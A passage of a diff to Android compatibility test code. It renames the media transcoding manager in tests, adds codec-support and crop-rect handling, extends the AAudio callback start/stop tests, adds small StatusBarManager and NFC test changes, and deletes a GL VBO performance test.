     private Uri mDestinationUri = null;
@@ -140,8 +143,8 @@
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity("android.permission.WRITE_MEDIA_STORAGE");
-        mMediaTranscodeManager = mContext.getSystemService(MediaTranscodeManager.class);
-        assertNotNull(mMediaTranscodeManager);
+        mMediaTranscodingManager = mContext.getSystemService(MediaTranscodingManager.class);
+        assertNotNull(mMediaTranscodingManager);
         androidx.test.InstrumentationRegistry.registerInstance(
                 InstrumentationRegistry.getInstrumentation(), new Bundle());
 
@@ -164,13 +167,12 @@
         super.tearDown();
     }
 
-    // Skip the test for TV, Car, Watch devices, and low ram devices.
+    // Skip the test for TV, Car and Watch devices.
     private boolean shouldSkip() {
         PackageManager pm =
                 InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
         return pm.hasSystemFeature(pm.FEATURE_LEANBACK) || pm.hasSystemFeature(pm.FEATURE_WATCH)
-                || pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE)
-                || pm.hasSystemFeature(pm.FEATURE_RAM_LOW);
+                || pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
     }
 
     /**
@@ -290,7 +292,7 @@
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(
                 request,
                 listenerExecutor,
                 transcodingSession -> {
@@ -302,7 +304,7 @@
         assertNotNull(session);
 
         if (session != null) {
-            Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to complete.");
+            Log.d(TAG, "testMediaTranscodingManager - Waiting for transcode to complete.");
             boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
                     TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
             assertTrue("Transcode failed to complete in time.", finishedOnTime);
@@ -338,7 +340,7 @@
     // Tests transcoding to a uri in res folder and expects failure as test could not write to res
     // folder.
     public void testTranscodingToResFolder() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri:  android.resource://android.media.cts/temp.mp4
@@ -352,7 +354,7 @@
 
     // Tests transcoding to a uri in internal cache folder and expects success.
     public void testTranscodingToCacheDir() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
@@ -366,7 +368,7 @@
 
     // Tests transcoding to a uri in internal files directory and expects success.
     public void testTranscodingToInternalFilesDir() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
@@ -424,14 +426,6 @@
         if (shouldSkip()) {
             return;
         }
-        MediaFormat format = new MediaFormat();
-        format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC);
-        format.setInteger(MediaFormat.KEY_WIDTH, 3840);
-        format.setInteger(MediaFormat.KEY_HEIGHT, 2160);
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
-        if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) {
-            return;
-        }
         transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio,
                 "Video_4K_HEVC_64Frames_Audio.mp4"), false /* testFileDescriptor */);
     }
@@ -454,14 +448,26 @@
         ApplicationMediaCapabilities clientCaps =
                 new ApplicationMediaCapabilities.Builder().build();
 
+        MediaFormat srcVideoFormat = getVideoTrackFormat(fileUri);
+        assertNotNull(srcVideoFormat);
+
+        int width = srcVideoFormat.getInteger(MediaFormat.KEY_WIDTH);
+        int height = srcVideoFormat.getInteger(MediaFormat.KEY_HEIGHT);
+
         TranscodingRequest.VideoFormatResolver
                 resolver = new TranscodingRequest.VideoFormatResolver(clientCaps,
                 MediaFormat.createVideoFormat(
-                        MediaFormat.MIMETYPE_VIDEO_HEVC, WIDTH, HEIGHT));
+                        MediaFormat.MIMETYPE_VIDEO_HEVC, width, height));
         assertTrue(resolver.shouldTranscode());
         MediaFormat videoTrackFormat = resolver.resolveVideoFormat();
         assertNotNull(videoTrackFormat);
 
+        // Return if the source or target video format is not supported
+        if (!isFormatSupported(srcVideoFormat, false)
+                || !isFormatSupported(videoTrackFormat, true)) {
+            return;
+        }
+
         int pid = android.os.Process.myPid();
         int uid = android.os.Process.myUid();
 
@@ -488,7 +494,7 @@
 
         Log.d(TAG, "transcoding to format: " + videoTrackFormat);
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(
                 request,
                 listenerExecutor,
                 transcodingSession -> {
@@ -507,7 +513,7 @@
         }
 
         if (session != null) {
-            Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to cancel.");
+            Log.d(TAG, "testMediaTranscodingManager - Waiting for transcode to cancel.");
             boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
                     TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
             assertTrue("Transcode failed to complete in time.", finishedOnTime);
@@ -556,7 +562,7 @@
     }
 
     public void testCancelTranscoding() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testCancelTranscoding");
@@ -572,7 +578,7 @@
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(
                 request,
                 listenerExecutor,
                 transcodingSession -> {
@@ -601,7 +607,7 @@
         statusLatch.await(2, TimeUnit.MILLISECONDS);
         session.cancel();
 
-        Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to cancel.");
+        Log.d(TAG, "testMediaTranscodingManager - Waiting for transcode to cancel.");
         boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
                 30, TimeUnit.MILLISECONDS);
 
@@ -628,16 +634,16 @@
                     new TranscodingRequest.Builder()
                             .setSourceUri(mSourceHEVCVideoUri)
                             .setDestinationUri(mDestinationUri)
-                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setType(MediaTranscodingManager.TRANSCODING_TYPE_VIDEO)
                             .setClientPid(pid)
                             .setClientUid(uid)
-                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setPriority(MediaTranscodingManager.PRIORITY_REALTIME)
                             .setVideoTrackFormat(createMediaFormat())
                             .build();
             Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
             TranscodingSession session =
-                    mMediaTranscodeManager.enqueueRequest(
+                    mMediaTranscodingManager.enqueueRequest(
                             request,
                             listenerExecutor,
                             transcodingSession -> {
@@ -647,7 +653,7 @@
     }*/
 
     public void testTranscodingProgressUpdate() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -664,7 +670,7 @@
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(request,
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(request,
                 listenerExecutor,
                 TranscodingSession -> {
                     Log.d(TAG,
@@ -699,7 +705,7 @@
     }
 
     public void testAddingClientUids() throws Exception {
-        if (shouldSkip()) {
+        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -716,7 +722,7 @@
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
-        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(request,
+        TranscodingSession session = mMediaTranscodingManager.enqueueRequest(request,
                 listenerExecutor,
                 TranscodingSession -> {
                     Log.d(TAG,
@@ -759,4 +765,72 @@
         assertTrue("Failed to receive at least 10 progress updates",
                 progressUpdateCount.get() > 10);
     }
+
+    private MediaFormat getVideoTrackFormat(Uri fileUri) throws IOException {
+        MediaFormat videoFormat = null;
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(fileUri.toString());
+        // Find video track format
+        for (int trackID = 0; trackID < extractor.getTrackCount(); trackID++) {
+            MediaFormat format = extractor.getTrackFormat(trackID);
+            if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+                videoFormat = format;
+                break;
+            }
+        }
+        extractor.release();
+        return videoFormat;
+    }
+
+    private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException {
+        MediaFormat sourceFormat = getVideoTrackFormat(fileUri);
+        if (sourceFormat != null) {
+            // Since destination format is not available, we assume width, height and
+            // frame rate same as source format, and mime as AVC for destination format.
+            MediaFormat destinationFormat = new MediaFormat();
+            destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE);
+            destinationFormat.setInteger(MediaFormat.KEY_WIDTH,
+                    sourceFormat.getInteger(MediaFormat.KEY_WIDTH));
+            destinationFormat.setInteger(MediaFormat.KEY_HEIGHT,
+                    sourceFormat.getInteger(MediaFormat.KEY_HEIGHT));
+            if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) {
+                destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
+                        sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
+            }
+            return isFormatSupported(sourceFormat, false)
+                    && isFormatSupported(destinationFormat, true);
+        }
+        return false;
+    }
+
+    private boolean isFormatSupported(MediaFormat format, boolean isEncoder) {
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        MediaCodec codec = null;
+        try {
+            // The underlying transcoder library uses AMediaCodec_createEncoderByType
+            // to create encoder. So we cannot perform an exhaustive search of
+            // all codecs that support the format. This is because the codec that
+            // advertises support for the format during search may not be the one
+            // instantiated by the transcoder library. So, we have to check whether
+            // the codec returned by createEncoderByType supports the format.
+            // The same point holds for decoder too.
+            if (isEncoder) {
+                codec = MediaCodec.createEncoderByType(mime);
+            } else {
+                codec = MediaCodec.createDecoderByType(mime);
+            }
+            MediaCodecInfo info = codec.getCodecInfo();
+            MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+            if (caps != null && caps.isFormatSupported(format) && info.isHardwareAccelerated()) {
+                return true;
+            }
+        } catch (IOException e) {
+            Log.d(TAG, "Exception: " + e);
+        } finally {
+            if (codec != null) {
+                codec.release();
+            }
+        }
+        return false;
+    }
 }
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
index c5500ae..95febcd 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingTestUtil.java
@@ -23,6 +23,7 @@
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.graphics.ImageFormat;
+import android.graphics.Rect;
 import android.media.Image;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
@@ -322,23 +323,32 @@
             throw new UnsupportedOperationException("Only supports YUV420P");
         }
 
-        int imageWidth = image.getWidth();
-        int imageHeight = image.getHeight();
+        Rect crop = image.getCropRect();
+        int cropLeft = crop.left;
+        int cropRight = crop.right;
+        int cropTop = crop.top;
+        int cropBottom = crop.bottom;
+        int imageWidth = cropRight - cropLeft;
+        int imageHeight = cropBottom - cropTop;
         byte[] bb = new byte[imageWidth * imageHeight];
         byte[] lb = null;
         Image.Plane[] planes = image.getPlanes();
         for (int i = 0; i < planes.length; ++i) {
             ByteBuffer buf = planes[i].getBuffer();
 
-            int width, height, rowStride, pixelStride, x, y;
+            int width, height, rowStride, pixelStride, x, y, top, left;
             rowStride = planes[i].getRowStride();
             pixelStride = planes[i].getPixelStride();
             if (i == 0) {
                 width = imageWidth;
                 height = imageHeight;
+                left = cropLeft;
+                top = cropTop;
             } else {
                 width = imageWidth / 2;
                 height = imageHeight / 2;
+                left = cropLeft / 2;
+                top = cropTop / 2;
             }
 
             if (buf.hasArray()) {
@@ -371,7 +381,7 @@
                     }
                     // do it pixel-by-pixel
                     for (y = 0; y < height; ++y) {
-                        buf.position(pos + y * rowStride);
+                        buf.position(pos + left + (top + y) * rowStride);
                         // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
                         buf.get(lb, 0, pixelStride * (width - 1) + 1);
                         for (x = 0; x < width; ++x) {
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.mk b/tests/tests/nativemedia/aaudio/jni/Android.mk
index 2f11b9e..09f730f 100644
--- a/tests/tests/nativemedia/aaudio/jni/Android.mk
+++ b/tests/tests/nativemedia/aaudio/jni/Android.mk
@@ -32,6 +32,9 @@
     test_session_id.cpp \
     utils.cpp \
 
+LOCAL_C_INCLUDES := \
+    system/media/audio/include
+
 LOCAL_SHARED_LIBRARIES := \
     libaaudio \
     liblog
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
index 4a89d69..1b8cf44 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
@@ -27,6 +27,9 @@
 #include "test_aaudio.h"
 #include "utils.h"
 
+constexpr int kExtremelyHighCallbackPeriodMillis = 200;
+constexpr int kMinCallbacksPerSecond = MILLIS_PER_SECOND / kExtremelyHighCallbackPeriodMillis;
+
 static int32_t measureLatency(AAudioStream *stream) {
     int64_t presentationTime = 0;
     int64_t presentationPosition = 0;
@@ -109,6 +112,7 @@
         int32_t maxLatency;
         std::atomic<aaudio_result_t> callbackError;
         std::atomic<int32_t> callbackCount;
+        std::atomic<bool> returnStop;
 
         AAudioCallbackTestData() {
             reset(0);
@@ -120,6 +124,7 @@
             maxLatency = 0;
             callbackError = AAUDIO_OK;
             callbackCount = 0;
+            returnStop = false;
         }
         void updateFrameCount(int32_t numFrames) {
             if (numFrames != expectedFramesPerCallback) {
@@ -170,7 +175,7 @@
     myData->updateFrameCount(numFrames);
     // No latency measurement as there is no API for querying capture position.
     myData->callbackCount++;
-    return AAUDIO_CALLBACK_RESULT_CONTINUE;
+    return myData->returnStop ? AAUDIO_CALLBACK_RESULT_STOP : AAUDIO_CALLBACK_RESULT_CONTINUE;
 }
 
 void AAudioInputStreamCallbackTest::SetUp() {
@@ -212,7 +217,7 @@
 
 }
 
-// Test Reading from an AAudioStream using a Callback
+// Test starting and stopping an INPUT AAudioStream that uses a Callback
 TEST_P(AAudioInputStreamCallbackTest, testRecording) {
     if (!mSetupSuccesful) return;
 
@@ -222,29 +227,47 @@
         ASSERT_EQ(framesPerDataCallback, streamFramesPerDataCallback);
     }
 
-    mCbData->reset(streamFramesPerDataCallback);
+    constexpr int kSleepSeconds = 2;
+    constexpr int kMinExpectedCallbacks = kMinCallbacksPerSecond * kSleepSeconds;
 
-    mHelper->startStream();
-    // See b/62090113. For legacy path, the device is only known after
-    // the stream has been started.
-    EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
-    sleep(2); // let the stream run
+    // Try both methods of stopping a stream.
+    const int kNumMethods = 2;
 
-    ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
-    ASSERT_GT(mCbData->callbackCount, 10);
+    // Start/stop more than once to see if it fails after the first time.
+    // Also check to make sure we do not get callbacks after the stop.
+    for (int loopIndex = 0; loopIndex < kNumMethods; loopIndex++) {
+        mCbData->reset(streamFramesPerDataCallback);
 
-    mHelper->stopStream();
+        mHelper->startStream();
+        // See b/62090113. For legacy path, the device is only known after
+        // the stream has been started.
+        EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
+        sleep(kSleepSeconds); // let the stream run
 
-    int32_t oldCallbackCount = mCbData->callbackCount;
-    EXPECT_GT(oldCallbackCount, 10);
-    sleep(1);
-    EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
+        ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
+        ASSERT_GT(mCbData->callbackCount, kMinExpectedCallbacks);
 
-    if (streamFramesPerDataCallback != AAUDIO_UNSPECIFIED) {
-        ASSERT_EQ(streamFramesPerDataCallback, mCbData->actualFramesPerCallback);
+        switch (loopIndex % kNumMethods) {
+            case 0:
+                mCbData->returnStop = true; // callback return
+                mHelper->waitForState(AAUDIO_STREAM_STATE_STOPPED);
+                break;
+            case 1:
+                mHelper->stopStream();
+                break;
+        }
+
+        int32_t oldCallbackCount = mCbData->callbackCount;
+        EXPECT_GT(oldCallbackCount, kMinExpectedCallbacks);
+        sleep(1);
+        EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
+
+        if (streamFramesPerDataCallback != AAUDIO_UNSPECIFIED) {
+            ASSERT_EQ(streamFramesPerDataCallback, mCbData->actualFramesPerCallback);
+        }
+
+        ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
     }
-
-    ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
 }
 
 INSTANTIATE_TEST_CASE_P(SPM, AAudioInputStreamCallbackTest,
@@ -319,7 +342,7 @@
     myData->updateFrameCount(numFrames);
     myData->updateLatency(measureLatency(stream));
     myData->callbackCount++;
-    return AAUDIO_CALLBACK_RESULT_CONTINUE;
+    return myData->returnStop ? AAUDIO_CALLBACK_RESULT_STOP : AAUDIO_CALLBACK_RESULT_CONTINUE;
 }
 
 void AAudioOutputStreamCallbackTest::SetUp() {
@@ -344,7 +367,7 @@
 
 }
 
-// Test Writing to an AAudioStream using a Callback
+// Test starting and stopping an OUTPUT AAudioStream that uses a Callback
 TEST_P(AAudioOutputStreamCallbackTest, testPlayback) {
     if (!mSetupSuccesful) return;
 
@@ -354,29 +377,41 @@
         ASSERT_EQ(framesPerDataCallback, streamFramesPerDataCallback);
     }
 
+    constexpr int kSleepSeconds = 2;
+    constexpr int kMinExpectedCallbacks = kMinCallbacksPerSecond * kSleepSeconds;
+
+    // Try all 3 methods of stopping/pausing a stream.
+    constexpr int kNumMethods = 3;
+
     // Start/stop more than once to see if it fails after the first time.
-    // Write some data and measure the rate to see if the timing is OK.
-    for (int loopIndex = 0; loopIndex < 2; loopIndex++) {
+    // Also check to make sure we do not get callbacks after the stop.
+    for (int loopIndex = 0; loopIndex < kNumMethods; loopIndex++) {
         mCbData->reset(streamFramesPerDataCallback);
 
         mHelper->startStream();
         // See b/62090113. For legacy path, the device is only known after
         // the stream has been started.
         EXPECT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getDeviceId(stream()));
-        sleep(2); // let the stream run
+        sleep(kSleepSeconds); // let the stream run
 
         ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
-        ASSERT_GT(mCbData->callbackCount, 10);
+        ASSERT_GT(mCbData->callbackCount, kMinExpectedCallbacks);
 
-        // For more coverage, alternate pausing and stopping.
-        if ((loopIndex & 1) == 0) {
-            mHelper->pauseStream();
-        } else {
-            mHelper->stopStream();
+        switch (loopIndex % kNumMethods) {
+            case 0:
+                mCbData->returnStop = true; // callback return
+                mHelper->waitForState(AAUDIO_STREAM_STATE_STOPPED);
+                break;
+            case 1:
+                mHelper->pauseStream();
+                break;
+            case 2:
+                mHelper->stopStream();
+                break;
         }
 
         int32_t oldCallbackCount = mCbData->callbackCount;
-        EXPECT_GT(oldCallbackCount, 10);
+        EXPECT_GT(oldCallbackCount, kMinExpectedCallbacks);
         sleep(1);
         EXPECT_EQ(oldCallbackCount, mCbData->callbackCount); // expect not advancing
 
@@ -391,9 +426,9 @@
                     "Suspiciously high callback latency: %d", mCbData->maxLatency);
         }
         //printf("latency: %d, %d\n", mCbData->minLatency, mCbData->maxLatency);
-    }
 
-    ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
+        ASSERT_EQ(AAUDIO_OK, mCbData->callbackError);
+    }
 }
 
 INSTANTIATE_TEST_CASE_P(SPM, AAudioOutputStreamCallbackTest,
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
index 0c55a3f..57d36ae 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
@@ -23,6 +23,7 @@
 #include <android/log.h>
 #include <gtest/gtest.h>
 #include <sys/system_properties.h>
+#include <system/audio.h> /* FCC_LIMIT */
 
 #include "utils.h"
 
@@ -186,7 +187,7 @@
     }
   protected:
     static bool isValidChannelCount(int32_t cc) {
-        return cc == AAUDIO_UNSPECIFIED || (cc >= 1 && cc <= 8);
+        return cc == AAUDIO_UNSPECIFIED || (cc >= 1 && cc <= FCC_LIMIT);
     }
 };
 
@@ -201,10 +202,10 @@
 
 INSTANTIATE_TEST_CASE_P(CC, AAudioStreamBuilderChannelCountTest,
         ::testing::Values(
-                // Reasonable values
-                AAUDIO_UNSPECIFIED, 1, 2, 3, 4, 5, 6, 7, 8,
-                // Odd values
-                AAUDIO_UNSPECIFIED - 1, 9, 100, 1000000, 10000000),
+                // Reasonable values that should work OK.
+                AAUDIO_UNSPECIFIED, 1, 2, 3, 4, 5, 6, 7, 8, FCC_LIMIT,
+                // These values should fail.
+                AAUDIO_UNSPECIFIED - 1, (FCC_LIMIT + 1), 1000, 1000000),
         &AAudioStreamBuilderChannelCountTest::getTestName);
 
 class AAudioStreamBuilderFormatTest : public ::testing::TestWithParam<aaudio_format_t> {
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.h b/tests/tests/nativemedia/aaudio/jni/utils.h
index f14e04d..8294eca 100644
--- a/tests/tests/nativemedia/aaudio/jni/utils.h
+++ b/tests/tests/nativemedia/aaudio/jni/utils.h
@@ -22,6 +22,8 @@
 
 #include <aaudio/AAudio.h>
 
+#include "test_aaudio.h"    // NANOS_PER_MILLISECOND
+
 int64_t getNanoseconds(clockid_t clockId = CLOCK_MONOTONIC);
 const char* performanceModeToString(aaudio_performance_mode_t mode);
 const char* sharingModeToString(aaudio_sharing_mode_t mode);
@@ -57,6 +59,18 @@
         streamCommand(&AAudioStream_requestStop,
                 AAUDIO_STREAM_STATE_STOPPING, AAUDIO_STREAM_STATE_STOPPED);
     }
+
+    void waitForState(aaudio_stream_state_t targetState) {
+        aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNKNOWN;
+        const int kNumTries = 4; // max number of states we expect to transition through
+        for (int i = 0; ((i < kNumTries) && (state != targetState)); i++) {
+            EXPECT_EQ(AAUDIO_OK, AAudioStream_waitForStateChange(stream(),
+                                                                 state,
+                                                                 &state,
+                                                                 500 * NANOS_PER_MILLISECOND));
+        }
+    }
+
     void flushStream() {
         streamCommand(&AAudioStream_requestFlush,
                 AAUDIO_STREAM_STATE_FLUSHING, AAUDIO_STREAM_STATE_FLUSHED);
diff --git a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
index 193b029..f25be15 100644
--- a/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
+++ b/tests/tests/nfc/src/android/nfc/cts/NfcPreferredPaymentTest.java
@@ -41,6 +41,7 @@
 
     private final static String mRouteDestination = "Host";
     private final static String mDescription = "CTS Nfc Test Service";
+    private final static String NFC_PAYMENT_DEFAULT_COMPONENT = "nfc_payment_default_component";
     private final static List<String> mAids = Arrays.asList("A000000004101011",
                                                             "A000000004101012",
                                                             "A000000004101013");
@@ -64,7 +65,7 @@
         assertNotNull(mAdapter);
         mCardEmulation = CardEmulation.getInstance(mAdapter);
         Settings.Secure.putString(mContext.getContentResolver(),
-                Settings.Secure.NFC_PAYMENT_DEFAULT_COMPONENT,
+                NFC_PAYMENT_DEFAULT_COMPONENT,
                 CtsNfcTestService.flattenToString());
     }
 
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java
index baf9aac..5f275ed 100644
--- a/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/StatusBarManagerApi30Test.java
@@ -21,6 +21,7 @@
 import android.app.StatusBarManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.view.KeyEvent;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -53,4 +54,18 @@
 
         // Nothing thrown, passed
     }
+
+    @Test
+    public void testTogglePanel_withoutStatusBarPermission_doesNotThrow() throws Exception {
+        mStatusBarManager.togglePanel();
+
+        // Nothing thrown, passed
+    }
+
+    @Test
+    public void testHandleSystemKey_withoutStatusBarPermission_doesNotThrow() throws Exception {
+        mStatusBarManager.handleSystemKey(KeyEvent.KEYCODE_SYSTEM_NAVIGATION_UP);
+
+        // Nothing thrown, passed
+    }
 }
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java b/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
deleted file mode 100644
index f3a38bb..0000000
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.openglperf.cts;
-
-import android.app.Instrumentation;
-import android.content.Intent;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-public class GlVboPerfTest extends
-        ActivityInstrumentationTestCase2<GlPlanetsActivity> {
-    private static final String TAG = "GlVboPerfTest";
-    private static final int NUM_FRAMES_TO_RENDER = 100;
-    private static final long RENDERING_TIMEOUT = 5 * 60;
-    // 30% of fps_no_vbo is allowed to compensate variations in measurement
-    private static final float FPS_COMPARISON_MARGIN = 0.3f;
-    // the worst case should be above 30% of the best case
-    private static final float FPS_MIN_MAX_COMPARISON_PERCENTILE = 0.3f;
-
-    private float mFps;
-    private int mNumTriangles;
-    private boolean mIsSoftwareRenderer = false;
-
-    private static final String SWIFTSHADER_NAME = "Google SwiftShader";
-
-    public GlVboPerfTest() {
-        super(GlPlanetsActivity.class);
-    }
-
-    public void testVboWithVaryingIndexBufferNumbers() throws Exception {
-        final int[] numIndexBuffers = {1, 10, 100, 200}; // per vertex buffer
-        float[] fpsVbo = new float[numIndexBuffers.length];
-        float[] fpsNonVbo = new float[numIndexBuffers.length];
-
-        for (int i = 0; i < numIndexBuffers.length; i++) {
-            runRendering(0, true, true, numIndexBuffers[i]);
-            fpsVbo[i] = mFps;
-            runRendering(0, true, false, numIndexBuffers[i]);
-            fpsNonVbo[i] = mFps;
-        }
-        StringBuilder msgIndex = new StringBuilder();
-        StringBuilder msgVbo = new StringBuilder();
-        StringBuilder msgNonVbo = new StringBuilder();
-        msgIndex.append("index buffer ");
-        msgVbo.append("Vbo ");
-        msgNonVbo.append("Non-Vbo ");
-        for (int i = 0; i < numIndexBuffers.length; i++) {
-            msgIndex.append(numIndexBuffers[i]).append(" ");
-            msgVbo.append(fpsVbo[i]).append(" ");
-            msgNonVbo.append(fpsNonVbo[i]).append(" ");
-        }
-        Log.i(TAG, msgIndex.toString());
-        Log.i(TAG, msgVbo.toString());
-        Log.i(TAG, msgNonVbo.toString());
-
-        float[] minMaxVbo = findMinMax(fpsVbo);
-        float[] minMaxNonVbo = findMinMax(fpsNonVbo);
-
-        float delta = minMaxVbo[1] - (1f - FPS_COMPARISON_MARGIN)
-                * minMaxNonVbo[1];
-        assertTrue("VBO performance worse than non-VBO " + msgVbo + msgNonVbo, delta > 0f);
-        if (!mIsSoftwareRenderer) {
-            assertTrue(
-                    "Too much FPS drop for VBO case " + msgVbo,
-                    minMaxVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxVbo[1]));
-            assertTrue(
-                    "Too much FPS drop for No VBO case " + msgNonVbo,
-                    minMaxNonVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxNonVbo[1]));
-        }
-    }
-
-    public void testVboVsNonVboPerfGeometry0() throws Exception {
-        doRunVboVsNonVboPerfTest(0);
-    }
-
-    public void testVboVsNonVboPerfGeometry1() throws Exception {
-        doRunVboVsNonVboPerfTest(4);
-    }
-
-    private void runRendering(int numPlanets, boolean useVboVertex, boolean useVboIndex,
-            int numIndexBuffers) throws Exception {
-        Intent intent = new Intent();
-        intent.putExtra(GlPlanetsActivity.INTENT_EXTRA_NUM_FRAMES,
-                NUM_FRAMES_TO_RENDER);
-        intent.putExtra(GlPlanetsActivity.INTENT_EXTRA_NUM_PLANETS, numPlanets);
-        intent.putExtra(GlPlanetsActivity.INTENT_EXTRA_USE_VBO_VERTICES, useVboVertex);
